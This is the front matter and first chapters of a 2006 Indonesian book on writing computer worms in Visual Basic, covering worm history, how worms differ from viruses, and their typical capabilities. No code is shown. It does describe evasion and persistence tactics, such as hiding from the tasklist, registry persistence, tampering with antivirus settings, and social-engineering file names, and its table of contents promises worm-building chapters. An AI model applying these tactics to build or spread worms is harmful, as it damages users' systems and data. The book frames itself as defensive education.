Download Computer Worm 1 secret of underground coding...
Computer Worm 1 - Secret of Underground Coding Hak Cipta © 2006 pada penulis
Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.
ISBN 979-1090-01-7
Cetakan pertama
Publisher Jasakom Web Site http://www.jasakom.com Email
[email protected]
: Juli 2006
Toko Online www.TokoMahal.com
Ketentuan pidana pasal 72 UU No. 19 tahun 2002
1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/ atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah). 2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)
Computer Worm 1 Secret of Underground Coding
Versi eBook tanpa CD pendukung
ISI CD PENDUKUNG Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:
DEMOWARE VM Ware
55.9 MB
Virtual PC
17.1 MB
DeepFreeze
2.06 MB
ShadowUser
7.80 MB
ASPack
297 KB
UltraEdit
1.69 MB
FREEWARE A Squared HijackFree
497 KB
CXUPX
419 KB
Darmal’s Packer
730 KB
DOS 7.10
765 KB
DropFile Script Generator
21.5 KB
HHD Hex Editor
2.07 MB
Icon Sucker Std
658 KB
KillBox
67,5 KB
Petite
117 KB
Process Explorer
1.24 MB
Registrar Lite
2.28 MB
Resource Hacker
1.32 MB
UPX 1.25
163 KB
UPX Mutanter
38.9 KB
UPX Scrambler
17.5 KB
UPX Windows GUI
199 KB
Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cenderung semakin mengganas. Ironisnya banyak sekali pengguna komputer yang tidak mengerti perbedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang perbedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua. Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram. Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga memuat beberapa materi standar yang harus diketahui dalam rangka membuat atau memerangi suatu worm komputer. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-
v
Computer Worm 1 - Secret of Underground Coding
KATA PENGANTAR
Jasakom
Computer Worm 1 - Secret of Underground Coding
liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini. Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 – 98, dan alumni POLNES angkatan 98 – 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thank’s buat S’to yang sudah banyak membantu dalam proses pembentukan buku. Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis mengharapkan kritik dan saran yang bersifat membangun, untuk itu silahkan kirim e-mail Anda ke alamat e-mail penulis di: achmad_darmal@ yahoo.com.sg, dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."
vi
Jasakom
KATA PENGANTAR
v
BAB 1 PENDAHULUAN
1
BAB 2 MENGENAL WORM
5
2.1 ASAL MULA WORM KOMPUTER
6
2.2 PERBEDAAN WORM DAN VIRUS
8
2.3 KEMAMPUAN DASAR WORM
9
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 2.3.2 KEMAMPUAN REKAYASA SOSIAL
9 9
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI
10
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI
10
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI
10
2.4 SIKLUS HIDUP WORM
11
2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )
11
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )
11
2.4.3 TRIGERRING PHASE ( FASE AKTIF )
11
2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )
11
2.5 PERKEMBANGAN WORM NON LOKAL
12
2.5.1 CHRISTMA EXEC
12
2.5.2 MORRIS
12
2.5.3 HAPPY99
13
2.5.4 MELISA
13
2.5.5 PRETTY PARK
14
2.5.6 EXPLORE ZIP
14
2.5.7 BUBBLE BOY
15
2.5.8 LOVE LETTER
16
2.5.9 HYBRIS
16
vii
Computer Worm 1 - Secret of Underground Coding
Daftar Isi
Jasakom
Computer Worm 1 - Secret of Underground Coding
2.5.10 ANNA KOURNIKOVA
17
2.5.11 SADMIND
17
2.5.12 CODE RED
17
2.5.13 NIMDA
18
2.5.14 BADTRANS.B
19
2.5.15 KLEZ
20
2.5.16 SLAMMER
21
2.5.17 BAGLE
21
2.5.18 NETSKY
22
2.6 PERKEMBANGAN WORM LOKAL
22
2.6.2 PESIN
23
2.6.3 TABARU
23
2.6.4 KANGEN
24
2.6.5 KUMIS
24
2.6.6 DECOIL
25
2.6.7 RONTOKBRO
25
2.6.8 NOBRON
25
2.6.9 RUNITIS
26
2.6.10 BLUEFANTASY
26
2.6.11 ROMDIL
27
2.6.12 MYBRO
27
2.6.13 IRCBOT.AQF
28
2.6.14 LIGHTMOON
28
BAB 3 REGISTRY WINDOWS 3.1 STRUKTUR REGISTRY
viii
29 30
3.1.1 HIVE
31
3.1.2 VALUE
31
3.2 REGISTRY EDITOR (REGEDIT)
Jasakom
22
2.6.1 I-WORM PERKASA
32
3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR
32
3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR
33
33
3.3.1 BACKUP & RESTORE REGISTRY
34
3.3.2 EXPORT & IMPORT DATA REGISTRY
35
3.3.3 MANIPULASI KEY & VALUE
35
3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA
37
3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE)
38
3.3.6 MEMANFAATKAN FILE REG
39
BAB 4 MENGENAL VISUAL BASIC 6.0
41
4.1 LINGKUNGAN KERJA VISUAL BASIC
42
4.1.1 MENUBAR
43
4.1.2 TOOLBAR
43
4.1.3 PROJECT EXPLORER
43
4.1.4 PROPERTIES WINDOWS
44
4.1.5 FORM LAYOUT WINDOW
44
4.1.6 TOOLBOX
44
4.1.7 FORM WINDOW
45
4.1.8 CODE WINDOW
45
4.2 PEMBUATAN APLIKASI
46
4.2.1 MEMBUAT PROYEK
46
4.2.2 MENYISIPKAN CONTROL
47
4.2.3 SETTING PROPERTIES
47
4.2.4 MENGETIK KODE PROGRAM
47
4.2.5 MENYIMPAN PROGRAM
48
4.2.6 MENJALANKAN PROGRAM
48
4.2.7 KOMPILASI PROGRAM MENJADI EXE
49
BAB 5 OBJECT FORM DAN CONTROL
51
5.1 FORM
53
5.2 KONTROL
54
5.2.1 PICTUREBOX
55
5.2.2 LABEL
56
5.2.3 TEXTBOX
57
ix
Computer Worm 1 - Secret of Underground Coding
3.3 OPERASI DASAR REGISTRY EDITOR
Jasakom
Computer Worm 1 - Secret of Underground Coding
5.2.4 FRAME
58
5.2.5 COMMANDBUTTON
58
5.2.6 CHECKBOX
59
5.2.7 OPTIONBUTTON
60
5.2.8 COMBOBOX
61
5.2.9 LISTBOX
62
5.2.10 HSCROLLBAR
63
5.2.11 VSCROLLBAR
64
5.2.12 TIMER
65
5.2.13 DRIVELISTBOX
66
5.2.14 DIRLISTBOX
66
5.2.15 FILELISTBOX
67
5.2.16 SHAPE
68
5.2.17 LINE
69
5.2.18 IMAGE
69
5.2.19 DATA
70
5.2.20 OLE
71
BAB 6 KODE PROGRAM 6.1 VARIABEL
74
6.1.1 IMPLICIT
75
6.1.2 EXPLICIT
76
6.2 STATEMENTS AND EXPRESSIONS
77
6.3 OPERATOR
78
6.3.1 OPERATOR PENUGASAN (ASSIGNMENT)
78
6.3.2 OPERATOR ARITMATIKA
78
6.3.3 OPERATOR KOMPARASI
79
6.3.4 OPERATOR LOGIKA
80
6.4 PERCABANGAN (BRANCHING)
x
73
Jasakom
81
6.4.1 PERCABANGAN IF/THEN/ELSE
81
6.4.2 PERCABANGAN SELECT CASE
82
6.4.3 PERCABANGAN GOSUB/RETURN
83
6.4.4 PERCABANGAN GOTO
83
6.4.5 PERCABANGAN ON ERROR
84
85
6.5.1 DO WHILE/LOOP
85
6.5.2 DO UNTIL/LOOP
85
6.5.3 DO/LOOP WHILE
85
6.5.4 DO/LOOP UNTIL
86
6.5.5 FOR/NEXT
86
6.6 PENGHENTIAN (TERMINATING)
87
6.6.1 END
87
6.6.2 EXIT
87
6.6.3 STOP
88
6.7 ARRAY
88
6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL
88
6.7.2 DEKLARASI DENGAN KEYWORD TO
89
6.8 PENANGANAN FILE
90
6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE
90
6.8.2 MEMBUAT SALINAN / MENG-COPY FILE
91
6.8.3 MENGHAPUS FILE
91
6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE
92
6.8.5 MENGETAHUI BESAR FILE
93
6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE
94
6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF
94
6.8.8 MENGATUR DRIVE AKTIF
95
6.8.9 MENGATUR DIREKTORI AKTIF
95
6.8.10 MEMBUAT DIREKTORI BARU
96
6.8.11 MENGHAPUS DIREKTORI
96
6.8.12 MENGUBAH NAMA DIREKTORI
97
6.9 OPERASI FILE TEXT
97
6.9.1 MEMBUAT FILE TEXT
97
6.9.2 MEMBACA FILE TEXT
98
6.10 OPERASI FILE BINARY
99
6.10.1 MEMBUAT FILE BINARY
99
6.10.2 MEMBACA FILE BINARY
100
6.11 FILE SYSTEM OBJECT (FSO)
101
xi
Computer Worm 1 - Secret of Underground Coding
6.5 PENGULANGAN (LOOPING)
Jasakom
Computer Worm 1 - Secret of Underground Coding
BAB 7 WORM WSar.1
103
7.1 WORM DASAR 1
105
7..2 ALGORITMA
106
7.3 PEMROGRAMAN
106
BAB 8 WORM WSar.2
117
8.1 ALGORITMA
117
8.2 PEMROGRAMAN
118
BAB 9 WORM WSar.3
125
9.1 ALGORITMA
125
9.2 PEMROGRAMAN
126
BAB 10 WORM WSar.4
135
10.1 ALGORITMA
135
10.2 PEMROGRAMAN
136
BAB 11 WORM WSar.5
151
11.1 ALGORITMA
152
11.2 PEMROGRAMAN
153
BAB 12 WORM WSar.6
165
12.1 ALGORITMA
166
12.2 PEMROGRAMAN
166
BAB 13 WORM WSar.7
179
xii
13.1 COMPARISON METHODE
180
13.2 ALGORITMA
191
13.3 PEMROGRAMAN
191
Jasakom
207
14.1 WATCHER METHODE
208
14.2 ENCRYPTION METHODE
209
14.3 POLYMORPHIC METHODE
212
14.4 ALGORITMA
214
14.5 PEMROGRAMAN
215
BAB 15 WORM WSar.9
243
15.1 DROP FILE METHODE
244
15.2 ALGORITMA
250
15.3 PEMROGRAMAN
251
xiii
Computer Worm 1 - Secret of Underground Coding
BAB 14 WORM WSar.8
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 1. Pendahuluan
BAB 1 PENDAHULUAN
S
eiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse. Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 pengguna komputer di Indonesia disibukkan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.
1
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 1. Pendahuluan
Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com. Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data. Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non materiil. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membicarakan tujuh hal bidang utama, yaitu: 1. 2. 3. 4. 5. 6. 7.
2
Mengenal worm komputer Menggunakan registry pada Microsoft Windows Menggunakan Visual Basic 6.0 Pemrograman worm komputer Membuat program removal Pemrograman virus komputer Kompresi dengan UPX
Jasakom
Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung. Perlu Anda ketahui bahwa seluruh software tersebut berlisensi freeware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."
3
Jasakom
Bab 1. Pendahuluan
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 2. Mengenal Worm
BAB 2 MENGENAL WORM
Kenapa bab ini ada? Seorang administrator sistem bisa dengan cepat mengetahui apabila suatu worm yang sama menginfeksi sebuah sistem dengan melihat gejala yang ditimbulkan. Selain itu untuk membuat suatu program removal juga diperlukan pengetahuan tentang worm, dan pengetahuan tersebut bisa berupa teori, sejarah perkembangan atau catatan singkat tentang worm yang pernah ada.
5
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.1 ASAL MULA WORM KOMPUTER Bab 2. Mengenal Worm
G
agasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya. Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu bertahan terhadap serangan program lawan lainnya. Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan. Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara. Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampilkan pesan "I’m creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berangsur-angsur hilang dalam beberapa bulan kemudian. Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan. Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brunner yang berjudul "The Shockwave Rider", yang mengisahkan suatu
6
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terhadap warga negaranya. Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya. Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumuman. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire". Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya. Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digunakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi). Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.
7
Jasakom
Bab 2. Mengenal Worm
pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.2 PERBEDAAN WORM DAN VIRUS Bab 2. Mengenal Worm
Istilah "virus" selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan membahayakan atau merugikan sebuah system komputer), seperti worm, trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut: 1.
Computer virus: merujuk pada program yang memiliki kemampuan untuk ber- reproduksi, menulari program lain dan menjadikan file-file program tertular sebagai file infector.
2.
Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector.
3.
Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan.
4.
Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat membahayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking.
Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan. Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector. Worm mampu bekerja
8
Jasakom
tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda dengan virus yang melakukan infeksi dengan 'menumpang’ pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.
2.3 KEMAMPUAN DASAR WORM Worm umumnya memiliki kemampuan-kemampuan dasar berikut ini:
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI Yaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat salinan dirinya, sekaligus mendistribusikan salinan tersebut pada system yang lain baik melalui media penyimpanan seperti disket, USB flash disk maupun melalui suatu jaringan komputer. Walaupun memiliki rutin untuk menginfeksi program lain namun tidak bertujuan menjadikan file program terinfeksi menjadi suatu file infector. Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan jaringan, namun seiring dengan perkembangan teknologi informasi hal ini akhirnya banyak ditinggalkan worm writer karena malah akan mengurangi kemampuannya untuk menyembunyikan diri, yang akan berakibat worm tersebut cepat "terendus" oleh advanced user atau bahkan perusahaan-perusahaan antivirus.
2.3.2 KEMAMPUAN REKAYASA SOSIAL Karena file infector worm akan aktif saat user mengeksekusinya maka social engineering atau rekayasa sosial menjadi hal yang sangat penting bagi suatu worm.
9
Jasakom
Bab 2. Mengenal Worm
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. Mengenal Worm
Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias’ programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja membuat salinan dirinya dengan nama file 'porno’ dan dengan gambar icon yang sangat tidak mencurigakan.
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI Menjaga tetap tidak diketahui adalah penting untuk worm jaman sekarang agar tetap bertahan pada suatu system. Hal ini biasanya dilakukan dengan cara tidak menampilkan sesuatu dari worm baik berupa suara maupun tampilan visual, menyembunyikan program worm dari taskbar bahkan dari jendela tasklist.
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI Suatu worm harus bisa mendapatkan informasi yang ia butuhkan, seperti jenis sistem operasi yang digunakan, direktori root, direktori System Windows bahkan worm umumnya memeriksa suatu system apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan berusaha mengenali jenis antivirus yang terpasang.
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI Umumnya manipulasi dilakukan oleh worm untuk bertahan hidup,. Worm cenderung mengadakan manipulasi pada registry agar worm bisa tetap aktif saat komputer dihidupkan, bahkan memanipulasi registry milik suatu antivirus agar tidak mengganggu worm tersebut. Tapi worm bisa saja mengadakan manipulasi yang terlepas dari tujuan tadi, seperti mengubah volume label pada harddisk atau disket.
10
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2.4 SIKLUS HIDUP WORM 2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) Pada fase ini worm akan membuat salinan dirinya ke suatu tempat, baik pada media penyimpanan fix disk (tetap) atau removable disk (dapat dipindahkan), adapun penyebarannya dapat dilakukan pada system lokal, jaringan atau internet.
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm melalui fase ini.
2.4.3 TRIGERRING PHASE ( FASE AKTIF ) Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini dipicu oleh metode launcher yang digunakan worm tersebut.
2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan dan sebagainya.
11
Jasakom
Bab 2. Mengenal Worm
Siklus hidup worm secara umum, melalui 4 tahap:
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.5 PERKEMBANGAN WORM NON LOKAL Berikut ini beberapa catatan singkat tentang worm yang pernah ada dan membuat banyak kerugian para pengguna komputer. Bab 2. Mengenal Worm
2.5.1 CHRISTMA EXEC Pada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm pertama yang mampu menyebar dengan menggunakan media e-mail diantara komputer mainframe IBM. Worm ini juga menjadi contoh penggunaan social engineering, dengan mengajak user untuk mengeksekusi worm tersebut dengan dalih akan menampilkan gambar pohon natal. Worm tersebut memang menghasilkan gambar pohon natal pada layar monitor (digambar dengan menggunakan bahasa script yang disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya dengan menggunakan nama user kepada setiap nama yang ada pada daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia membukanya.
2.5.2 MORRIS Pada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990. Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebabkan oleh kecelakaan dan kesalahan pemrograman. Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan melakukan penularan pada komputer VMS pada DECNet. Worm ini
12
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2.5.3 HAPPY99 Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan attachment sebuah file aplikasi bernama happy99.exe. Ketika file tersebut dieksekusi tampil gambar kembang api untuk memperingati tahun baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse yang mengijinkan worm tersebut menyisipkan dirinya pada proses komunikasi internet, sementara file WSOCK32.DLL yang asli diubah kembali namanya menjadi WSOCK32.SKA
2.5.4 MELISA Di bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari. Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus. Mellisa menyertakan sebuah file attachment berupa file dokumen Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi sebuah komputer. Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali yang dilakukannya adalah melakukan pemeriksaan apakah versi aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan mengurangi pengaturan keamanan pada aplikasi Word untuk mencegah aplikasi menampilkan pesan atau peringatan tentang adanya suatu macro, yang akan mencurigakan user.
13
Jasakom
Bab 2. Mengenal Worm
